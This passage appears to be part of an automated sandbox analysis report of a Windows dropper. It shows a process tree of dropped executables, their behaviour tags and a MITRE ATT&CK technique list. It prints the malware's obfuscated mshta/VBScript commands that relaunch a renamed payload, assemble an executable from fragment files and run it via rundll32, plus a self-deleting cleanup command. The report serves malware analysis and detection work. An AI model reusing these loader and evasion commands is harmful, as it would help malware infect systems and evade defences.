    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15f67075f27a2b5b.exe
        
        Sun15f67075f27a2b5b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
      - C:\Users\Admin\AppData\Roaming\5463742.scr
        
        "C:\Users\Admin\AppData\Roaming\5463742.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5092
      - C:\Users\Admin\AppData\Roaming\4434337.scr
        
        "C:\Users\Admin\AppData\Roaming\4434337.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1572
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:5764
      - C:\Users\Admin\AppData\Roaming\6781030.scr
        
        "C:\Users\Admin\AppData\Roaming\6781030.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5440
      - C:\Users\Admin\AppData\Roaming\3771438.scr
        
        "C:\Users\Admin\AppData\Roaming\3771438.scr" /S
        6⤵
        Executes dropped EXE
        
        PID:5576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone
      4⤵
      PID:5044
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun1577c3e159a3e3815.exe
        
        Sun1577c3e159a3e3815.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1200
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 240
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3428
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
        
        Sun159ff1acacf.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1988
      - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun159ff1acacf.exe
        6⤵
        Executes dropped EXE
        
        PID:3300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe
      4⤵
      PID:3064
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun1507db358fce61c0b.exe
        
        Sun1507db358fce61c0b.exe
        5⤵
        Executes dropped EXE
        
        PID:4304
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 284
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe
      4⤵
      PID:3352
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun158d8ef840.exe
      4⤵
      PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe
      4⤵
      PID:2876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4760

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv eb+xFBg0LEeIJZdQgWd8gg.0
1⤵
PID:4868
- C:\Windows\System32\sihclient.exe
  C:\Windows\System32\sihclient.exe /cv eb+xFBg0LEeIJZdQgWd8gg.0.2
  2⤵
  PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:4132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1320

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 52e8494f55ae911df54b4e5e8ec9a8f2 eb+xFBg0LEeIJZdQgWd8gg.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:2376
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:2908

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 52e8494f55ae911df54b4e5e8ec9a8f2 eb+xFBg0LEeIJZdQgWd8gg.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:4908

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152bea652bd7232.exe
Sun152bea652bd7232.exe
1⤵
- Executes dropped EXE
PID:5056

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152e52d07b74d9b5.exe
Sun152e52d07b74d9b5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1548
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1548 -s 1576
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:5212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
1⤵
PID:4540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe") do taskkill /F -Im "%~NxU"
  2⤵
  PID:2164
- - C:\Users\Admin\AppData\Local\Temp\09xU.exE
    09xU.EXE -pPtzyIkqLZoCarb5ew
    3⤵
    - Executes dropped EXE
    PID:2076
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
      4⤵
      PID:5152
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        5⤵
        
        PID:5320
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
      4⤵
      PID:5644
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        5⤵
        
        PID:1244
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        6⤵
        
        PID:3996
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        6⤵
        
        PID:3144
      - C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        6⤵
        
        PID:3552
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        7⤵
        Loads dropped DLL
        
        PID:5908
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        8⤵
        
        PID:6860
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        9⤵
        Loads dropped DLL
        
        PID:6872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F -Im "Sun158d8ef840.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5372

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun158d8ef840.exe
Sun158d8ef840.exe
1⤵
- Executes dropped EXE
PID:1244

C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15f1b1f8c669.exe
Sun15f1b1f8c669.exe
1⤵
- Executes dropped EXE
PID:420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 320
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:5192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1200 -ip 1200
1⤵
PID:4400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4304 -ip 4304
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 420 -ip 420
1⤵
PID:1248

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 580 -p 1548 -ip 1548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2768

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5564
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5592 -ip 5592
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5584 -ip 5584
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3156 -ip 3156
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2068 -ip 2068
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5320 -ip 5320
1⤵
PID:6032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1716 -ip 1716
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5384 -ip 5384
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2084 -ip 2084
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6096 -ip 6096
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Drops startup file
PID:5612

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6108 -ip 6108
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3724

C:\Users\Admin\AppData\Local\Temp\CF86.exe
C:\Users\Admin\AppData\Local\Temp\CF86.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6332
- C:\Users\Admin\AppData\Local\Temp\CF86.exe
  C:\Users\Admin\AppData\Local\Temp\CF86.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:6696

C:\Users\Admin\AppData\Local\Temp\E0DC.exe
C:\Users\Admin\AppData\Local\Temp\E0DC.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6548

C:\Users\Admin\AppData\Local\Temp\F32D.exe
C:\Users\Admin\AppData\Local\Temp\F32D.exe
1⤵
- Executes dropped EXE
PID:6904
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6904 -s 280
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:7104

C:\Users\Admin\AppData\Local\Temp\E9.exe
C:\Users\Admin\AppData\Local\Temp\E9.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 6904 -ip 6904
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7084

C:\Users\Admin\AppData\Local\Temp\C06.exe
C:\Users\Admin\AppData\Local\Temp\C06.exe
1⤵
- Executes dropped EXE
PID:6208
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6208 -s 280
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6208 -ip 6208
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1108

C:\Users\Admin\AppData\Local\Temp\157D.exe
C:\Users\Admin\AppData\Local\Temp\157D.exe
1⤵
- Executes dropped EXE
PID:5188
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 272
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:5492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5188 -ip 5188
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5608

C:\Users\Admin\AppData\Local\Temp\23B7.exe
C:\Users\Admin\AppData\Local\Temp\23B7.exe
1⤵
PID:5616
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 276
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:2472

C:\Users\Admin\AppData\Local\Temp\2E47.exe
C:\Users\Admin\AppData\Local\Temp\2E47.exe
1⤵
- Checks processor information in registry
PID:3424
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3424 -s 1820
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:3828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5616 -ip 5616
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3120

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 572 -p 3424 -ip 3424
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5148

C:\Users\Admin\AppData\Local\Temp\37DD.exe
C:\Users\Admin\AppData\Local\Temp\37DD.exe
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:5368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\37DD.exe" & exit
  2⤵
  PID:4372
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:6444

C:\Users\Admin\AppData\Local\Temp\41E0.exe
C:\Users\Admin\AppData\Local\Temp\41E0.exe
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery